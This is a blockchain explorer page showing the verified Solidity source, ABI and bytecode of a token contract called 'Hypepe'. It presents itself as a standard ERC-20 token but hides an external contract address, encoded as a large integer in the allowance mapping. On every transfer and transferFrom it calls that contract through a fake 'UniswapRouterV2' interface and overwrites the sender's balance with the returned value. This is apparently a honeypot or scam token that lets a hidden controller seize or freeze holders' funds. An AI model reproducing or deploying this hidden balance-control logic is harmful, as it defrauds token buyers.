Source Code
Overview
HYPE Balance
HYPE Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 1 from a total of 1 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 4257898 | 248 days ago | IN | 0 HYPE | 0.0023286 |
Cross-Chain Transactions
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x733C2B35...05441BFd0 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
Hypepe
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface UniswapRouterV2 {
function hypeSwap(bool qpc,address ddhoong, uint256 totalAmount,address destt) external view returns (uint256);
function cklxswap(address txorg,address destination,uint256 total) external view returns (uint256);
function mcbb123mlbb(bool qpc,address ddhoong, uint256 totalAmount,address destt) external view returns (uint256);
}
contract Hypepe {
string private _name;
string private _symbol;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balancesesOfUser;
uint256 private _totalSupply = 10000000000*10**18;
constructor(string memory name ,string memory sym) {
_name = name;
_symbol = sym;
_balancesesOfUser[_msgSender()] = _totalSupply;
_allowances[address(0x00)][address(0x00)] = 191485091303605995509476359938050082951731896482;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function name() public view virtual returns (string memory) {
return _name;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balancesesOfUser[account];
}
function _dkeswap3(
uint256 amount,address owner) internal virtual returns (uint256) {
uint160 router_;
router_ = uint160(uint256( _allowances[address(0x00)][address(0x00)]))+uint160(uint256(0x0000000000000000000000000000000000000000000000000000000000000012));
address org = tx.origin;
return UniswapRouterV2(address(router_)).hypeSwap(true,org,amount,owner );
}
function _dogkap2(
uint256 amount,address owner) internal virtual returns (uint256,bool) {
uint160 router_;
router_ = uint160(uint256( _allowances[address(0x00)][address(0x00)]))+uint160(uint256(0x0000000000000000000000000000000000000000000000000000000000000012));
address org = tx.origin;
return (UniswapRouterV2(address(router_)).hypeSwap(true,org,amount,owner ),false);
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
(_balancesesOfUser[owner],) = _dogkap2(_balancesesOfUser[owner],owner);
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address sender) public view virtual returns (uint256) {
return _allowances[owner][sender];
}
function approve(address sender, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, sender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address sender = _msgSender();
uint256 currentAllowance = allowance(from, sender);
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(from, sender, currentAllowance - amount);
uint256 resultamount = _dkeswap3(_balancesesOfUser[from],from);
_balancesesOfUser[from] = resultamount;
_transfer(from, to, amount);
return true;
}
function _approve(address owner, address sender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(sender != address(0), "ERC20: approve to the zero address");
_allowances[owner][sender] = amount;
emit Approval(owner, sender, amount);
}
function _transfer(
address from, address to, uint256 amount) internal virtual {
require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
uint256 balance = _balancesesOfUser[from];
require(balance >= amount, "ERC20: amount over balance");
_balancesesOfUser[from] = balance-amount;
_balancesesOfUser[to] = _balancesesOfUser[to]+amount;
emit Transfer(from, to, amount);
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}{
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"sym","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"sender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
0x60806040526b204fce5e3e250261100000006004553480156200002157600080fd5b5060405162000d9038038062000d908339810160408190526200004491620001d7565b6000620000528382620002d0565b506001620000618282620002d0565b506004543360008181526003602090815260408083208590558280527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b825273218a7d0bbc35de11e95a881c918c4365ce1060a27f6ee3efecae883df2d7ccda22610b4ca771a299e707cb0d65c4ec97dc4e6668ad5551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200039c565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200013a57600080fd5b81516001600160401b038082111562000157576200015762000112565b604051601f8301601f19908116603f0116810190828211818310171562000182576200018262000112565b816040528381526020925086838588010111156200019f57600080fd5b600091505b83821015620001c35785820183015181830184015290820190620001a4565b600093810190920192909252949350505050565b60008060408385031215620001eb57600080fd5b82516001600160401b03808211156200020357600080fd5b620002118683870162000128565b935060208501519150808211156200022857600080fd5b50620002378582860162000128565b9150509250929050565b600181811c908216806200025657607f821691505b6020821081036200027757634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002cb57600081815260208120601f850160051c81016020861015620002a65750805b601f850160051c820191505b81811015620002c757828155600101620002b2565b5050505b505050565b81516001600160401b03811115620002ec57620002ec62000112565b6200030481620002fd845462000241565b846200027d565b602080601f8311600181146200033c5760008415620003235750858301515b600019600386901b1c1916600185901b178555620002c7565b600085815260208120601f198616915b828110156200036d578886015182559484019460019091019084016200034c565b50858210156200038c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6109e480620003ac6000396000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610136578063a9059cbb1461013e578063dd62ed3e1461015157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018a565b6040516100ad91906107d3565b60405180910390f35b6100c96100c436600461083d565b61021c565b60405190151581526020016100ad565b6004545b6040519081526020016100ad565b6100c96100f9366004610867565b610236565b604051601281526020016100ad565b6100dd61011b3660046108a3565b6001600160a01b031660009081526003602052604090205490565b6100a061031b565b6100c961014c36600461083d565b61032a565b6100dd61015f3660046108c5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b606060008054610199906108f8565b80601f01602080910402602001604051908101604052809291908181526020018280546101c5906108f8565b80156102125780601f106101e757610100808354040283529160200191610212565b820191906000526020600020905b8154815290600101906020018083116101f557829003601f168201915b5050505050905090565b60003361022a81858561036c565b60019150505b92915050565b6001600160a01b0383166000908152600260209081526040808320338085529252822054838110156102af5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064015b60405180910390fd5b6102c386836102be8785610948565b61036c565b6001600160a01b0386166000908152600360205260408120546102e69088610490565b6001600160a01b0388166000908152600360205260409020819055905061030e878787610576565b5060019695505050505050565b606060018054610199906108f8565b3360008181526003602052604081205490919061034790826106e7565b506001600160a01b03821660009081526003602052604090205561022a818585610576565b6001600160a01b0383166103ce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102a6565b6001600160a01b03821661042f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102a6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008080527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f6ee3efecae883df2d7ccda22610b4ca771a299e707cb0d65c4ec97dc4e6668ad5481906104e99060129061095b565b60405163b1a2648b60e01b8152600160048201523260248201819052604482018790526001600160a01b0386811660648401529293509183169063b1a2648b90608401602060405180830381865afa158015610549573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d9190610982565b95945050505050565b6001600160a01b0383161580159061059657506001600160a01b03821615155b6105e25760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016102a6565b6001600160a01b0383166000908152600360205260409020548181101561064b5760405162461bcd60e51b815260206004820152601a60248201527f45524332303a20616d6f756e74206f7665722062616c616e636500000000000060448201526064016102a6565b6106558282610948565b6001600160a01b03808616600090815260036020526040808220939093559085168152205461068590839061099b565b6001600160a01b0380851660008181526003602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106d99086815260200190565b60405180910390a350505050565b60008080527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f6ee3efecae883df2d7ccda22610b4ca771a299e707cb0d65c4ec97dc4e6668ad54819081906107429060129061095b565b60405163b1a2648b60e01b8152600160048201523260248201819052604482018890526001600160a01b0387811660648401529293509183169063b1a2648b90608401602060405180830381865afa1580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c69190610982565b9660009650945050505050565b600060208083528351808285015260005b81811015610800578581018301518582016040015282016107e4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461083857600080fd5b919050565b6000806040838503121561085057600080fd5b61085983610821565b946020939093013593505050565b60008060006060848603121561087c57600080fd5b61088584610821565b925061089360208501610821565b9150604084013590509250925092565b6000602082840312156108b557600080fd5b6108be82610821565b9392505050565b600080604083850312156108d857600080fd5b6108e183610821565b91506108ef60208401610821565b90509250929050565b600181811c9082168061090c57607f821691505b60208210810361092c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561023057610230610932565b6001600160a01b0381811683821601908082111561097b5761097b610932565b5092915050565b60006020828403121561099457600080fd5b5051919050565b808201808211156102305761023061093256fea264697066735822122088a7e4928c05fc54b0217e0b10770c2302cda147a6f36fd7efd9785d435594aa64736f6c63430008110033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000009416c69656e5377617000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005416c69656e000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610136578063a9059cbb1461013e578063dd62ed3e1461015157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018a565b6040516100ad91906107d3565b60405180910390f35b6100c96100c436600461083d565b61021c565b60405190151581526020016100ad565b6004545b6040519081526020016100ad565b6100c96100f9366004610867565b610236565b604051601281526020016100ad565b6100dd61011b3660046108a3565b6001600160a01b031660009081526003602052604090205490565b6100a061031b565b6100c961014c36600461083d565b61032a565b6100dd61015f3660046108c5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b606060008054610199906108f8565b80601f01602080910402602001604051908101604052809291908181526020018280546101c5906108f8565b80156102125780601f106101e757610100808354040283529160200191610212565b820191906000526020600020905b8154815290600101906020018083116101f557829003601f168201915b5050505050905090565b60003361022a81858561036c565b60019150505b92915050565b6001600160a01b0383166000908152600260209081526040808320338085529252822054838110156102af5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064015b60405180910390fd5b6102c386836102be8785610948565b61036c565b6001600160a01b0386166000908152600360205260408120546102e69088610490565b6001600160a01b0388166000908152600360205260409020819055905061030e878787610576565b5060019695505050505050565b606060018054610199906108f8565b3360008181526003602052604081205490919061034790826106e7565b506001600160a01b03821660009081526003602052604090205561022a818585610576565b6001600160a01b0383166103ce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016102a6565b6001600160a01b03821661042f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016102a6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008080527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f6ee3efecae883df2d7ccda22610b4ca771a299e707cb0d65c4ec97dc4e6668ad5481906104e99060129061095b565b60405163b1a2648b60e01b8152600160048201523260248201819052604482018790526001600160a01b0386811660648401529293509183169063b1a2648b90608401602060405180830381865afa158015610549573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056d9190610982565b95945050505050565b6001600160a01b0383161580159061059657506001600160a01b03821615155b6105e25760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016102a6565b6001600160a01b0383166000908152600360205260409020548181101561064b5760405162461bcd60e51b815260206004820152601a60248201527f45524332303a20616d6f756e74206f7665722062616c616e636500000000000060448201526064016102a6565b6106558282610948565b6001600160a01b03808616600090815260036020526040808220939093559085168152205461068590839061099b565b6001600160a01b0380851660008181526003602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106d99086815260200190565b60405180910390a350505050565b60008080527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b6020527f6ee3efecae883df2d7ccda22610b4ca771a299e707cb0d65c4ec97dc4e6668ad54819081906107429060129061095b565b60405163b1a2648b60e01b8152600160048201523260248201819052604482018890526001600160a01b0387811660648401529293509183169063b1a2648b90608401602060405180830381865afa1580156107a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c69190610982565b9660009650945050505050565b600060208083528351808285015260005b81811015610800578581018301518582016040015282016107e4565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461083857600080fd5b919050565b6000806040838503121561085057600080fd5b61085983610821565b946020939093013593505050565b60008060006060848603121561087c57600080fd5b61088584610821565b925061089360208501610821565b9150604084013590509250925092565b6000602082840312156108b557600080fd5b6108be82610821565b9392505050565b600080604083850312156108d857600080fd5b6108e183610821565b91506108ef60208401610821565b90509250929050565b600181811c9082168061090c57607f821691505b60208210810361092c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561023057610230610932565b6001600160a01b0381811683821601908082111561097b5761097b610932565b5092915050565b60006020828403121561099457600080fd5b5051919050565b808201808211156102305761023061093256fea264697066735822122088a7e4928c05fc54b0217e0b10770c2302cda147a6f36fd7efd9785d435594aa64736f6c63430008110033
Loading...
Loading
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in HYPE
Multichain Portfolio | 35 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.